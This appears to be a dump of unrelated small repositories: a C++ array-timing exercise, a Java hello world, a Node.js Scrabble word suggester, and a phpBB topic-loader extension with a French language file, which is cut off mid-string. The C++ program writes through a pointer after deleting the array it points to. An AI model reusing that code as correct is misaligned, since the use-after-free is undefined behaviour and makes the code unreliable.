<file_sep>#include <iostream> #include <time.h> #include <cstdlib> using namespace std; int liczba; clock_t start,stop; double czas_dzialania; int main () { cout<<"Ile liczb w tablicy? "<<endl; cin>>liczba; int *pierwsza_tablica; pierwsza_tablica=new int [liczba]; start=clock(); for(int i=0;i<liczba;i++) { pierwsza_tablica[i]=i; pierwsza_tablica[i]+=50; } stop=clock(); czas_dzialania=(double)(stop-start)/CLOCKS_PER_SEC; cout<<"Czas dzialania bez wskaznika "<<czas_dzialania<<endl; delete [] pierwsza_tablica; int *moj_wskaznik =pierwsza_tablica; pierwsza_tablica=new int [liczba]; start =clock(); for(int i=0;i<liczba;i++) { *moj_wskaznik=i; *moj_wskaznik+=50; moj_wskaznik++; } stop=clock(); czas_dzialania=(double)(stop-start)/CLOCKS_PER_SEC; cout<<"Czas dzialania z wskaznikiem : "<<czas_dzialania<<endl; return 0; }
fb37b65cd7e369a17589f8cdfc2fd574e331bd35
[ "C++" ]
1
C++
Jaszui/2-wskazniki
258ec9078dafc7f885ccbb5aaf73eb62e9381003
ce15d265a4ef06423718dded1b3381da024e8a0e
refs/heads/master
<repo_name>joyatee/TestTestTest<file_sep>/src/main/java/Hello.java public class Hello { public static void main(String[] args) { // Testing git repo System.out.println("Hello World Joyatee"); } }
8b1398e0583ede1773856c63c4e03cce059621e6
[ "Java" ]
1
Java
joyatee/TestTestTest
474431190a6adc2d198dc261030cf403c83a1ac1
b7dad12d68d7896dbe2a5c368bd77868259f73ae
refs/heads/master
<file_sep>#! usr/local/bin/node var Trie = require('./trie'); var Scrabble = require('./scrabble'); var letterCombos = require('./letter_combos'); /** * Returns a list of valid combos that can be made with the list of letters. */ function validCombos(dictionary, letters) { return letterCombos(letters).filter(function(combo) { var word = combo.join(''); return dictionary.lookup(word); }); } /** * Returns an object with valid words as keys * and scores as values. */ function validWordScores(dictionary, letters) { var combos = validCombos(dictionary, letters); var wordScores = {}; combos.forEach(function(combo) { var word = combo.join(''); var score = combo.reduce(function(acc, letter) { var value = Scrabble.values[letter.toUpperCase()]; return acc + value; }, 0); wordScores[word] = score; }); return wordScores; } /** * Gets up to seven letters from the command line arguments * if there are any, otherwise returns seven letters from a * simulated Scrabble hand. */ function getLetters() { var args = process.argv.slice(2); if (args.length > 0) { // Split up letters. args = args.reduce(function(acc, arg) { return acc.concat(arg.split('')); }, []); // Take up to the first seven letters. var end = Math.min(args.length, 7); return args.slice(0, end); } else { console.log('Simulating a random hand...'); var bag = new Scrabble.Bag(); var hand = new Scrabble.Hand(bag); return hand.letters(); } } // Use the Official Scrabble Players Dictionary. var dictionary = Trie.load('./ospd.txt'); var letters = getLetters(); console.log('Letters:', letters); console.log('Valid words:', validWordScores(dictionary, letters)); <file_sep>var Scrabble = { values: { A: 1, B: 3, C: 3, D: 2, E: 1, F: 4, G: 2, H: 4, I: 1, J: 8, K: 5, L: 1, M: 3, N: 1, O: 1, P: 3, Q: 10, R: 1, S: 1, T: 1, U: 1, V: 4, W: 4, X: 8, Y: 4, Z: 10, _: 0 }, Bag: function() { this.tiles = { A: { value: 1, quantity: 9 }, B: { value: 3, quantity: 2 }, C: { value: 3, quantity: 2 }, D: { value: 2, quantity: 4 }, E: { value: 1, quantity: 12 }, F: { value: 4, quantity: 2 }, G: { value: 2, quantity: 3 }, H: { value: 4, quantity: 2 }, I: { value: 1, quantity: 9 }, J: { value: 8, quantity: 1 }, K: { value: 5, quantity: 1 }, L: { value: 1, quantity: 4 }, M: { value: 3, quantity: 2 }, N: { value: 1, quantity: 6 }, O: { value: 1, quantity: 8 }, P: { value: 3, quantity: 2 }, Q: { value: 10, quantity: 1 }, R: { value: 1, quantity: 6 }, S: { value: 1, quantity: 4 }, T: { value: 1, quantity: 6 }, U: { value: 1, quantity: 4 }, V: { value: 4, quantity: 2 }, W: { value: 4, quantity: 2 }, X: { value: 8, quantity: 1 }, Y: { value: 4, quantity: 2 }, Z: { value: 10, quantity: 1 }, _: { value: 0, quantity: 2 } } }, Tile: function(letter, value) { this.letter = letter; this.value = value; }, Hand: function(bag) { this.bag = bag; this.tiles = bag.drawTiles(7); } } Scrabble.Bag.prototype = { /** * Draws one random tile from the bag. */ drawTile: function() { var i = Math.floor(Math.random() * 27); var letter = Object.keys(this.tiles)[i]; if (this.tiles[letter].quantity < 1) { // Draw a new tile if there are none left for that letter. return this.drawTile(); } else { this.tiles[letter].quantity--; return new Scrabble.Tile(letter, this.tiles[letter].value); } }, /** * Draws n random tiles from the bag. */ drawTiles: function(n) { var tiles = []; for (var i = 0; i < n; i++) { tiles.push(this.drawTile()); } return tiles; } }; Scrabble.Hand.prototype = { /** * Returns a list of the letters of the tiles in the hand. */ letters: function() { return this.tiles.map(function(tile) { return tile.letter; }); } } module.exports = Scrabble; <file_sep>Scrabble Suggestor ================== A command line tool for suggesting valid Scrabble words, using the Official Scrabble Players Dictionary Usage ----- node scrabble_suggestor.js [letters] Examples -------- $ node scrabble_suggestor.js dags Letters: [ 'd', 'a', 'g', 's' ] Valid words: [ 'dags', 'gads', 'dag', 'gad', 'ads', 'sad', 'da', 'ad', 'gas', 'sag', 'ag', 'as' ] $ node scrabble_suggestor.js P T S O Letters: [ 'P', 'T', 'S', 'O' ] Valid words: [ 'POTS', 'POST', 'TOPS', 'SPOT', 'STOP', 'OPTS', 'POT', 'TOP', 'OPT', 'SOP', 'OPS', 'OP', 'SOT', 'TO', 'SO', 'OS' ] $ node scrabble_suggestor.js Simulating a random hand... Letters: [ 'W', 'Q', 'I', 'N', 'H', 'M', 'K' ] Valid words: [ 'WHIN', 'WINK', 'WIN', 'WHIM', 'HIN', 'MINK', 'NIM', 'INK', 'KIN', 'IN', 'HIM', 'KHI', 'HI', 'MI', 'HM' ] TODO ---- - Use wildcard _ characters - Sort valid words by value <file_sep>/** * Returns a list of the permutations of combinations of letters. */ function letterCombos(letters) { return combos(letters).reduce(function(result, combo) { return result.concat(perms(combo)); }, []); } /** * Returns a list of the permutations of letters. */ function perms(letters) { if (letters.length < 1) return [[]]; return letters.reduce(function(result, letter, i, letters) { var withoutLetter = perms(others(letters, i)); var withLetter = copy(withoutLetter).map(function(perm) { perm.unshift(letter); return perm; }); return result.concat(withLetter); }, []); } /** * Returns a list of the combinations of letters. */ function combos(letters) { if (letters.length < 1) return [[]]; var withoutLetter = combos(tail(letters)); var withLetter = copy(withoutLetter).map(function(combo) { combo.unshift(head(letters)); return combo; }); return [].concat(withLetter, withoutLetter); } /** * List helper functions */ /** * Returns the first element of the list. */ function head(list) { return list[0]; } /** * Returns a new list with the first element removed from the original. */ function tail(list) { return list.slice(1); } /** * Returns a new list with the i-th element removed from the original. */ function others(list, i) { var removed = copy(list); removed.splice(i, 1); return removed; } /** * Returns a deep copy of the list. */ function copy(list) { return list.map(function(e) { if (e instanceof Array) return copy(e); return e; }); } module.exports = letterCombos;
cbb049147d8de22012dd1e9a251bc5fe71af6cf2
[ "JavaScript", "Markdown" ]
4
JavaScript
quelledanielle/scrabble-suggestor
2e538b46ee32fd2b88cd5cae96b81198fd44303c
ba6d277ac8cc52c144ada03ee1b8764160e9cba8
refs/heads/master
<repo_name>Shijj1996/hello-world<file_sep>/hello.c /************************************************************************* > File Name: hello.c > Author: > Mail: > Created Time: 四 5/16 22:22:51 2019 ************************************************************************/ #include<stdio.h> int main(int argc,char *argv[]) { printf("hello world"); } <file_sep>/README.md # hello-world first GitHub project "hello world"
90dabbd24f44ef6966f4004e7c4cd0e72ebcc05e
[ "Markdown", "C" ]
2
C
Shijj1996/hello-world
9325a959bcac0b7ed4cb964b6550c823dafc0fa0
1a2538417ea14f11228f4b24033b8180c68d8d06
refs/heads/master
<repo_name>erofer92/TorreDeHanoi<file_sep>/Pilha.h typedef struct pilha Pilha; Pilha * criar(); void destruir(Pilha * p); int desempilhar(Pilha * p); void empilhar(Pilha * p, int x); int tamanho(Pilha * p); int topo(Pilha * p); // Funcoes Extras void imprimir(Pilha * p); void inverter1(Pilha * p); void inverter2(Pilha * p); void inverter3(Pilha * p); <file_sep>/README.md # TorreDeHanoi Este jogo foi feito como Trabalho da disciplina de Estrutura de Dados 1. Este foi meu primeiro jogo feito em C utilizando Estrutura de Pilha. <file_sep>/Principal.c #include <stdio.h> #include <stdlib.h> #include "Pilha.h" #include "Pino.h" #include "Torre.h" int main() { Pilha *p1; Pilha *p2; Pilha *p3; int qtd, a, b; p1 = criar(); p2 = criar(); p3 = criar(); menu(); criar_Pino_Principal(&p1); qtd = tamanho(p1); while(fim(p1, p2, p3, qtd)) { system("cls"); print_pinos(p1, p2, p3); listar_jogadas_possiveis(p1, p2, p3); printf("\nEscolha dois pinos para mover os discos (escolha zero/zero para desistir): "); printf("\nOrigem: "); scanf("%d", &a); fflush(stdin); printf("Destino: "); scanf("%d", &b); fflush(stdin); while((a>3 || a<0) || (b>3 || b<0)) { printf("Escolha pinos validos: "); printf("\nOrigem: "); scanf("%d", &a); fflush(stdin); printf("Destino: "); scanf("%d", &b); fflush(stdin); } if(a == 0 || b == 0) { //resolver2(p1, p3, p2, qtd); } else { if(a == 1 && b == 2) mover(p1,p2); else { if(a == 1 && b == 3) mover(p1,p3); else { if(a == 2 && b == 1) mover(p2,p1); else { if(a == 2 && b == 3) mover(p2,p3); else { if(a == 3 && b == 1) mover(p3,p1); else mover(p3,p2); } } } } } } getch(); destruir(p1); destruir(p2); destruir(p3); return 0; } <file_sep>/Torre.c #ifndef Pilha typedef struct pilha Pilha; #endif // Pilha int baseSecundaria(Pilha* p) { Pilha *p_clone = clonar(p); int base_secundaria, tam; tam = tamanho(p_clone); for(base_secundaria = 1; base_secundaria <= tam; base_secundaria++); base_secundaria--; destruir(p_clone); return base_secundaria; } <file_sep>/Pilha.c #include <stdio.h> #include <stdlib.h> #include "Pilha.h" #define TAM_MAX 64 struct pilha { int itens[TAM_MAX]; int tp; }; Pilha * criar() { Pilha * p = (Pilha *)malloc(sizeof(Pilha)); p->tp = 0; return p; } void destruir(Pilha * p) { if (p != NULL) free(p); } int desempilhar(Pilha * p) { if (p->tp == 0) return -1; return p->itens[--p->tp]; } void empilhar(Pilha * p, int x) { if (p->tp == TAM_MAX) return; p->itens[p->tp++] = x; } int tamanho(Pilha * p) { return p->tp; } int topo(Pilha * p) { if (p->tp == 0) return -1; return p->itens[p->tp-1]; } void imprimir(Pilha * p) { int i; printf("[ "); for(i=0; i<p->tp; i++) { printf("%d ", p->itens[i]); } printf("]"); } Pilha* clonar(Pilha *p) { Pilha *aux = criar(); Pilha *clone = criar(); int i, x, tam; tam = tamanho(p); for(i=0; i<tam; i++) { empilhar(aux, desempilhar(p)); } for(i=0; i<tam; i++) { x = desempilhar(aux); empilhar(p, x); empilhar(clone, x); } destruir(aux); return clone; } void inverter1(Pilha * p) { Pilha * aux1 = criar(); Pilha * aux2 = criar(); while(tamanho(p) != 0) { empilhar(aux1, desempilhar(p)); } while(tamanho(aux1) != 0) { empilhar(aux2, desempilhar(aux1)); } while(tamanho(aux2) != 0) { empilhar(p, desempilhar(aux2)); } destruir(aux1); destruir(aux2); } void inverter2(Pilha * p) { int i = 0, tam; int * itens = (int *)malloc(tamanho(p)*sizeof(int)); while(tamanho(p) != 0) { itens[i++] = desempilhar(p); } tam = i; for(i=0; i<tam; i++) { empilhar(p, itens[i]); } free(itens); } void inverter3(Pilha * p) { int i, f, tmp; for (i = 0, f = p->tp-1; i < f; i++, f--) { tmp = p->itens[i]; p->itens[i] = p->itens[f]; p->itens[f] = tmp; } } <file_sep>/Pino.h #ifndef Pilha typedef struct pilha Pilha; #endif void criar_Pino_Principal(Pilha **p); void menu(); void instrucoes(); void creditos(); void print_pinos(Pilha *p1, Pilha *p2, Pilha *p3); void listar_jogadas_possiveis(Pilha *p1, Pilha *p2, Pilha *p3); void mover(Pilha *p_origem, Pilha *p_destino); void resolver(Pilha *p_origem, Pilha *p_destino, Pilha *p_auxiliar, int profundidade); void resolver2(Pilha *p_origem, Pilha *p_destino, Pilha *p_auxiliar, int qtd_discos); int fim(Pilha *p1, Pilha *p2, Pilha *p3, int qtd); <file_sep>/Torre.h int baseSecundaria(Pilha* p); <file_sep>/Pino.c #include <stdio.h> #include <stdlib.h> #include "Pino.h" #ifndef TAM_MAX #define TAM_MAX 64 #endif void criar_Pino_Principal(Pilha **p) { int qtd; system("cls"); printf("Com quantos discos voce deseja jogar? "); printf("\nQuantidade minima: 3"); printf("\nQuantidade maxima: %d", TAM_MAX); printf("\nNumero de Discos: "); scanf("%d", &qtd); fflush(stdin); while(qtd == 0 || qtd > TAM_MAX) { printf("\nEscolha um valor valido: "); scanf("%d", &qtd); fflush(stdin); } while(qtd > 0) { empilhar(*p, qtd--); } } void menu() { system("cls"); char c; printf("<NAME> \n"); printf("1 - Instrucoes \n"); printf("2 - Iniciar \n"); printf("3 - Creditos \n"); printf("4 - Sair \n"); c = getch(); fflush(stdin); while(c != '1' && c != '2' && c != '3' && c != '4') { printf("\nDigite uma opcao valida: "); c = getch(); fflush(stdin); } switch(c) { case '1': instrucoes(); break; case '2': return; case '3': creditos(); break; case '4': exit(0); break; default: break; } } void instrucoes() { system("cls"); printf("\n\n Instrucoes \n\n"); printf(" Este jogo consiste em mover todos os \n"); printf(" discos do primeiro pino para o ultimo. \n"); printf(" So ha 3 pinos, mas quantos discos voce desejar. \n\n"); printf(" O segundo pino deve ser ultilizado como \n"); printf(" auxilio para os movimentos.\n\n\n"); printf(" Regras \n\n"); printf(" Um disco maior nao pode ficar em cima de \n"); printf(" um disco menor \n\n"); printf(" Pressione qualquer tecla para voltar ao menu.\n"); getch(); fflush(stdin); menu(); } void creditos() { system("cls"); printf("\n\n Este jogo foi desenvolvido como projeto da disciplina Estrutuda de Dados 1. \n"); printf(" O assunto foi Estrutura de Pilha em C, ministrada pelo professor Murilo. \n"); printf(" Desenvolvedores: <NAME> e <NAME>. \n\n"); printf(" pressione qualquer tecla para voltar ao menu."); getch(); fflush(stdin); menu(); } void print_pinos(Pilha *p1, Pilha *p2, Pilha *p3) { printf("Pino 1: Base "); imprimir(p1); printf(" Topo \n"); printf("Pino 2: Base "); imprimir(p2); printf(" Topo \n"); printf("Pino 3: Base "); imprimir(p3); printf(" Topo \n"); } void listar_jogadas_possiveis(Pilha *p1, Pilha *p2, Pilha *p3) { int a,b,c; if(tamanho(p1) == 0) a = 100; else a = topo(p1); if(tamanho(p2) == 0) b = 100; else b = topo(p2); if(tamanho(p3) == 0) c = 100; else c = topo(p3); printf("\n\nJogadas possiveis: \n"); if(a < b && a < c) { printf("[ 1 -> 2 ] \n"); printf("[ 1 -> 3 ] \n"); if(tamanho(p2) != 0 || tamanho(p3) != 0) { if(b < c) printf("[ 2 -> 3 ] \n\n"); else printf("[ 3 -> 2 ] \n\n"); } } else { if(b < a && b < c) { printf("[ 2 -> 1 ] \n"); printf("[ 2 -> 3 ] \n"); if(tamanho(p1) != 0 || tamanho(p3) != 0) { if(a < c) printf("[ 1 -> 3 ] \n\n"); else printf("[ 3 -> 1 ] \n\n"); } } else { printf("[ 3 -> 1 ] \n"); printf("[ 3 -> 2 ] \n"); if(tamanho(p1) != 0 || tamanho(p2) != 0) { if(a < b) printf("[ 1 -> 2 ] \n\n"); else printf("[ 2 -> 1 ] \n\n"); } } } } void mover(Pilha *p_origem, Pilha *p_destino) { int x = 0; if(tamanho(p_destino) == 0) x = 100; if(tamanho(p_origem) > 0 && (x > topo(p_origem) || topo(p_destino) > topo(p_origem))) { empilhar(p_destino, desempilhar(p_origem)); } else { if(tamanho(p_origem) == 0) { printf("\nJogada Ilegal."); printf("\nPino de Origem Vazio. \n"); } else { printf("\nJogada Ilegal."); printf("\nDisco do pino de origem maior que disco do pino de destino.\n"); } getch(); fflush(stdin); } } void procurarDisco(Pilha *p_origem, Pilha *p_auxiliar, Pilha *p_destino, int disco) { Pilha *p1 = clonar(p_origem); Pilha *p2 = clonar(p_auxiliar); Pilha *p3 = clonar(p_destino); while(topo(p1) != disco && tamanho(p1) > 0) desempilhar(p1); if(tamanho(p1) != 0) } void resolver(Pilha *p_origem, Pilha *p_auxiliar, Pilha *p_destino, int qtd_discos) { procurarDisco() if(qtd_discos>1) resolver(p_destino, p_origem, p_auxiliar, qtd_discos-1) mover(p_origem, p_auxiliar); while(tamanho(p_origem) > 0) { d = 0; a = 0; if(tamanho(p_destino) == 0) d = TAM_MAX+1; if(tamanho(p_auxiliar) == 0) a = TAM_MAX+1; if((topo(p_destino) > topo(p_origem) || d == TAM_MAX+1) || (topo(p_auxiliar) > topo(p_origem) || a == TAM_MAX+1)) { // SE TODOS OS DISCOS ESTIVEREM NO PRIMEIRO PINO // O CODIGO EXECUTARÁ OS DOIS PRIMEIROS MOVIMENTOS BASICOS if(baseSecundaria(p_origem) % 2 == 1) { mover(p_origem, p_destino); print_pinos(p_origem, p_auxiliar, p_destino); system("pause"); } else { mover(p_origem, p_auxiliar); print_pinos(p_origem, p_auxiliar, p_destino); system("pause"); } } else { if(baseSecundaria(p_origem) % 2 == 1) { printf("resolver sera chamado novamente. Impar \n"); system("pause"); resolver(p_destino, p_auxiliar, p_origem, profundidade+1); } else { printf("resolver sera chamado novamente. Par \n"); system("pause"); resolver(p_auxiliar, p_destino, p_origem, profundidade+1); } } } } void resolverDoInicio(Pilha *p_origem, Pilha *p_destino, Pilha *p_auxiliar, int qtd_discos) { if (qtd_discos > 0) { resolver2(p_origem, p_auxiliar, p_destino, qtd_discos - 1); mover(p_origem, p_destino); resolver2(p_auxiliar, p_destino, p_origem, qtd_discos - 1); } } int fim(Pilha *p1, Pilha *p2, Pilha *p3, int qtd) { system("cls"); if(tamanho(p3) == qtd) { print_pinos(p1, p2, p3); printf("\nParabens! Voce concluiu o jogo. \n"); if(qtd < TAM_MAX) printf("Proxima vez, tente jogar com %d discos. Boa sorte. \n", (qtd+1)); return 0; } return 1; }
d0962c73be1250687132ad35047ac83dd4f1cc52
[ "Markdown", "C" ]
8
C
erofer92/TorreDeHanoi
eea39cdb617aea021531625b9c84810dd270ad8f
7d63abb3fdfbf8c12260acfc74c0dcdbc1fa96be
refs/heads/master
<file_sep><?php /** * * Fancy Lazy Topics Loader * * @copyright (c) 2015 SiteSplat All rights reserved * @license Proprietary * */ namespace sitesplat\fltl; /** * This ext class is optional and can be omitted if left empty. * However you can add special (un)installation commands in the * methods enable_step(), disable_step() and purge_step(). As it is, * these methods are defined in \phpbb\extension\base, which this * class extends, but you can overwrite them to give special * instructions for those cases. */ class ext extends \phpbb\extension\base { public function is_enableable() { $manager = $this->container->get('ext.manager'); return $manager->is_enabled('sitesplat/BBCore'); } public function enable_step($old_state) { if (empty($old_state)) { global $user; $info = '<div style="width:80%;margin:20px auto;"><p>The Setting for this extension can be found in <strong>General » Board configuration » Board Settings Tab Fancy Lazy Topics loader</strong>.<br />Please note there is a min of 4 posts per page! Enjoy!</p></div>'; $user->lang['EXTENSION_ENABLE_SUCCESS'] = $user->lang['EXTENSION_ENABLE_SUCCESS'] . $info; } // Run parent enable step method return parent::enable_step($old_state); } } <file_sep><?php /** * * Fancy Lazy Topics Loader * * @copyright (c) 2015 SiteSplat All rights reserved * @license Proprietary * */ namespace sitesplat\fltl\event; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\DependencyInjection\Container; /** * Event listener */ class listener implements EventSubscriberInterface { protected $db; protected $auth; protected $config; protected $user; protected $template; protected $phpbb_container; protected $phpbb_root_path; protected $php_ext; public function __construct(\phpbb\db\driver\driver_interface $db, \phpbb\auth\auth $auth, \phpbb\config\config $config, \phpbb\user $user, \phpbb\template\template $template, Container $phpbb_container, $phpbb_root_path, $php_ext) { $this->db = $db; $this->auth = $auth; $this->config = $config; $this->user = $user; $this->template = $template; $this->phpbb_container = $phpbb_container; $this->root_path = $phpbb_root_path; $this->php_ext = $php_ext; } /** * Assign functions defined in this class to event listeners in the core * * @return array * @static * @access public */ static public function getSubscribedEvents() { return array( 'core.user_setup' => 'load_language_on_setup', 'core.page_header' => 'fltl', ); } public function fltl($event) { $display = $this->phpbb_container->get('sitesplat.fltl.main'); $rows = $display->handle('index.html'); foreach($rows['rows'] as $row) { strip_bbcode($row['post_text']); $row['post_text'] = censor_text($row['post_text']); $row['post_text'] = (utf8_strlen($row['post_text']) > 50) ? utf8_substr($row['post_text'], 0, 50) . '&#91;&hellip;&#93;' : $row['post_text']; $this->template->assign_block_vars('fltl', array( 'U_TOPIC' => append_sid($this->root_path . 'viewtopic.' . $this->php_ext, 'f=' . $row['forum_id'] . '&amp;t=' . $row['topic_id']), 'U_LAST_POST' => append_sid($this->root_path . 'viewtopic.' . $this->php_ext, 'p=' . $row['topic_last_post_id']) . '#p' . $row['topic_last_post_id'], 'TOPIC_AUTHOR' => ($row['topic_' . $this->config['fltl_type'] . '_poster_colour']) ? ('<strong style="color:#' . $row['topic_' . $this->config['fltl_type'] . '_poster_colour'] . '">' . $row['username'] . '</strong>') : $row['username'], 'AVATAR' => ($row['user_avatar']) ? phpbb_get_user_avatar( array('avatar' => $row['user_avatar'], 'avatar_type' => $row['user_avatar_type'], 'avatar_width' => $row['user_avatar_width'], 'avatar_height' => $row['user_avatar_height'])): '', 'TOPIC_MONTH' => $this->user->format_date($row['topic_last_post_time'], 'M'), 'TOPIC_DAY' => $this->user->format_date($row['topic_last_post_time'], 'd'), 'TOPIC_YEAR_DIGIT' => $this->user->format_date($row['topic_last_post_time'], 'Y'), 'TOPIC_MONTH_DIGIT' => $this->user->format_date($row['topic_last_post_time'], 'm'), 'TOPIC_DAY_DIGIT' => $this->user->format_date($row['topic_last_post_time'], 'd'), 'TOPIC_TITLE' => censor_text($row['topic_title']), 'FP_EXCERPT' => $row['post_text'], )); } $this->template->assign_vars(array( 'START' => $rows['start'], )); } public function load_language_on_setup($event) { $lang_set_ext = $event['lang_set_ext']; $lang_set_ext[] = array( 'ext_name' => 'sitesplat/fltl', 'lang_set' => 'fltl_common', ); $event['lang_set_ext'] = $lang_set_ext; } } <file_sep><?php /** * * BBCore [English] * * @package language * @version $Id$ * @copyright (c) 2015 <EMAIL> * */ /** * DO NOT CHANGE */ if (!defined('IN_PHPBB')) { exit; } if (empty($lang) || !is_array($lang)) { $lang = array(); } // BBCore $lang = array_merge($lang, array( 'PM_NEW_MSG' => array( 1 => 'Vous avez %d message entrant', 2 => 'Vous avez %d messages entrants', ), 'PM_UNREAD_MSG' => array( 1 => 'Vous avez %d Communication privée non lue', 2 => 'Vous avez %d Communications privées non lues', ), 'PM_NEW_MSG_BUBBLE' => array( 1 => '%d', 2 => '%d', ), 'UCP_MAIN' => 'Overview', 'UCP_MAIN_FRONT' => 'Page de garde', 'UCP_MAIN_SUBSCRIPTION' => 'Gérer les abonnements', 'UCP_MAIN_BOOKMARKS' => 'Gérer les marque-pages', 'UCP_MAIN_DRAFTS' => 'Gérer les brouillons', 'UCP_MAIN_ATTACHMENTS' => 'Gérer les pièces jointes', 'USER_PANEL' => 'Panneau du Joueur', 'UCP_PROFILE' => 'Profil', 'UCP_PROFILE_PROFILE' => 'Editer profil', 'UCP_PROFILE_SIGNITURE' => 'Editer signature', 'UCP_PROFILE_AVATAR' => 'Editer avatar', 'UCP_PROFILE_SETTINGS' => 'Paramètres', 'UCP_AVATAR_SELECT_OPTIONS' => 'Options de l\'avatar', 'UCP_AVATAR_SELECT_UPLOAD' => 'Upload l\'avatar depuis votre PC', 'UCP_SUBMIT_TO_UPLOAD' => 'Submit below to upload', 'UCP_PREFERENCE' => 'Vos préférences', 'UCP_PREFERENCE_SETTINGS' => 'Editer les paramètres globaux', 'UCP_PREFERENCE_DEFAULTS' => 'Editer les paramètre d\'écriture', 'UCP_PREFERENCE_OPTIONS' => 'Editer les options visuelles', 'UCP_MESSAGES' => 'Messages', 'UCP_PM_COMPOSE' => 'Ecrire message', 'UCP_PM_DRAFTS' => 'Gérer les brouillons', 'UCP_PM_INBOX' => 'Inbox', 'UCP_PM_OUTBOX' => 'Sortants', 'UCP_PM_SENTBOX' => 'Envois', 'UCP_PM_OPTIONS' => 'Règles, dossiers &amp; paramètres', 'UCP_NO_USER_CHANGE_ALLOWED' => '**Le changement de pseudo n\'est pas autorisé**', 'UCP_REGISTER_EMAIL_EXPLAIN' => 'Veuillez utiliser une adresse valide', 'WIDTH_SIZE' => 'width', 'PIXEL_SIZE' => 'px', 'HEIGHT_SIZE' => 'height', 'UCP_GROUPS' => 'Groupes', 'UCP_GROUPS_MEMBERSHIP' => 'Editer le membre', 'UCP_GROUPS_MANAGE' => 'Gérer les groupes', 'UCP_ZEBRA' => 'Amis &amp; Ignorés', 'UCP_ZEBRA_FRIENDS' => 'Gérer les amis', 'UCP_ZEBRA_FOES' => 'Gérer les ignorés', 'UCP_APPLY' => 'Appliquer', 'UCP_PM_DEFAULT_RULE_TAG' => 'Par défaut', 'UCP_PM_DEFAULT_RULE' => 'Ne pas accepter de nouveaux messages', 'UCP_PM_DEFAULT_RULE_EXPLAIN' => 'Cette action ne sera déclenchée que si aucune des options ci-dessus est applicable . Les nouveaux messages seront retenus jusqu\'à ce que suffisamment d\'espace soit disponible .', 'UCP_PM_NEW_MESSAGE' => 'Nouveau message', 'BIO' => 'Informations personnelles', 'MANAGE' => 'Admonistrer', 'JOINED_BOARD' => 'a rejoint le forum', 'VISITED_BOARD' => 'Dernière visite', 'SEE_MORE' => 'En savoir plus', 'ATTACH_SIGNATURE' => 'Attacher la signature', 'DELETE_POST_SOFT' => 'Suppression du message soft', 'DELETE_POST_PERMANENT' => 'Suppression permanente', 'DELETE_POST_SOFT_WARN' => 'Le message peut-être récupéré', 'DELETE_POST_PERMANENT_WARN' => 'Le message ne peut PAS être récupéré', 'POLL_MAX_OPTIONS_EXPLAIN_ALT' => 'Entrez le nombre maximum d\'options que l\'utilisateur peut sélectionner', 'POLL_VOTE_CHANGE_LABEL' => 'Autoriser la correction du vote', 'NO_VOTES_NA' => 'N/A', 'NOT_AVAILABLE' => 'Indisponible', 'POST_TOPIC_NEW' => 'Nouveau sujet', 'QUICK_REPLY_SHOW_HIDE' => 'Montrer/Cacher la réponse rapide', 'CHARACTERS_COUNT' => 'Characters', 'CHARACTERS_COUNT_REM' => 'Remaining', 'BOOKMARKED_TOPICS_UCP' => 'Sujets favoris', 'ATTACH_EXPLANATION_SORTABLE' => 'Cliquer pour trier', 'ATTACH_FORUM' => 'Liens', 'MCP_DETAILS_LOG' => 'Détails', 'MCP_DETAIL_U_IP' => 'Utilisateur &amp; IP', 'MCP_MANAG_BAN' => 'Gérer le bannissement', 'MCP_UNAPPROVED_POSTS_ZERO' => 'Il n\'y a pas de message en attente de validation', 'MCP_REPORTS_ZERO' => 'Il n\'y a pas de demande en attente', 'MCP_PM_REPORTS_ZERO' => 'Il n\'y a pas de MP à surveiller', 'FORUMLIST_UNAPPROVED' => 'Au moins un sujet de ce forum n\'a pas été approuvé', 'FORUMLIST_UNAPPROVED_POST' => 'Au moins un message de ce forum n\'a pas été approuvé', 'FORUMLIST_LASTPOST' => 'Voir le dernier messages', 'TOPICS_POSTS_STATISTICS' => 'Statistiques', 'TOPICS_ROW_REPORTED' => 'Ce message est en attente de modération', 'TOPICS_ROW_NOT_APPROVED' => 'Ce sujet n\'a pas été approuvé', 'TOPICS_ROW_DELETED' => 'Le sujet a été supprimé', 'MODERATOR_PANEL_GENERAL' => 'Tableau de bord', 'ADMIN_PANEL_GENERAL' => 'Administration', 'RANK_IMAGE' => 'Rank image', 'WELCOME_INDEX' => 'Bienvenue', 'FAQ' => 'FAQ', 'CAPTION_FAQ' => 'Common knowledge place', 'CAPTION_SEARCH' => 'Rechercher', 'CAPTION_MEMBERS' => 'Vous cherchz quelqu\'un ?', 'MEMBERS_CAP' => 'Membres', 'CAPTION_UCP' => 'Définir vos préférences', 'UCP_CAP' => 'Panneau de l\'utilisateur', 'INDEX_CAPTION' => 'Page d\'index du forum', 'VIEWTOPIC_CAP' => 'Titre du sujet', 'CAPTION_VIEWTOPIC' => 'Description du sujet', 'CAPTION_VIEWFORUM' => 'Dérouler toutes les catégories du forum', 'POSTINGS_CAP' => 'Editeur de texte', 'CAPTION_POSTINGS' => 'Posting things up!', 'MCP_CAPTION' => 'This is where you get to use the Super Powers', 'BOOTSTRAP_ELEMENT' => 'Bootstrap Elements', 'BOOTSTRAP_ELEMENT_CAPTION' => 'Forum KickStart Documentation', 'MAIN_FORUM' => 'Forum', 'MAIN_MAIN_STUFF' => 'The Main stuff', 'MAIN_TRENDS' => 'See the trends', 'MAIN_SEARCH_IT_UP' => 'Search it up', 'SUB_NO_ICON' => 'No Icon here at all', 'EXAMPLE_WITH_ICON' => 'Example With Icon', 'EXAMPLE_LINK' => 'Example Link', 'MAIN_SOCIAL' => 'Social', 'SOCIAL_P' => 'Chat away', 'MORE' => 'Plus', 'EXPAND_CLOSE' => 'Close View', 'MARK_TOPICS_READ' => 'Marquer les sujets comme lus', 'CONTACT' => 'Contact', 'GET_IN_TOUCH' => 'Entrer en contact', 'HANG_AROUND' => 'Hang around', 'JOIN_THE_CLUB' => 'Join the club', 'MENU' => 'MENU', 'YOU_ARE_HERE' => 'Vous êtes ici', 'IN_FOOTER' => 'In:', 'REPLY' => 'Répondre', 'LOGIN_REMEMBER' => 'Garder ma session active', 'LOGIN_HIDE_ME' => 'Cacher la session', 'LOGIN_ME_IN' => 'Connexion', 'SIGN_IN_ACCOUNT' => 'Se connecter à mon compte', 'CREATE_ACCOUNT' => 'Créer un personnage', 'GO_TO_SEARCH_ADV' => 'Retour à la recherche avancée', 'CREATE_ACCOUNT_DISABLED' => 'Inscriptions fermées', 'REGISTRATION_DISABLED' => 'Il semblerait que les inscriptions soient fermées pour le moment. Il s\'agit peut-être d\'une mesure temporaire. Si vous pensez qu\'il s\'agit d\'une erreur, veuillez 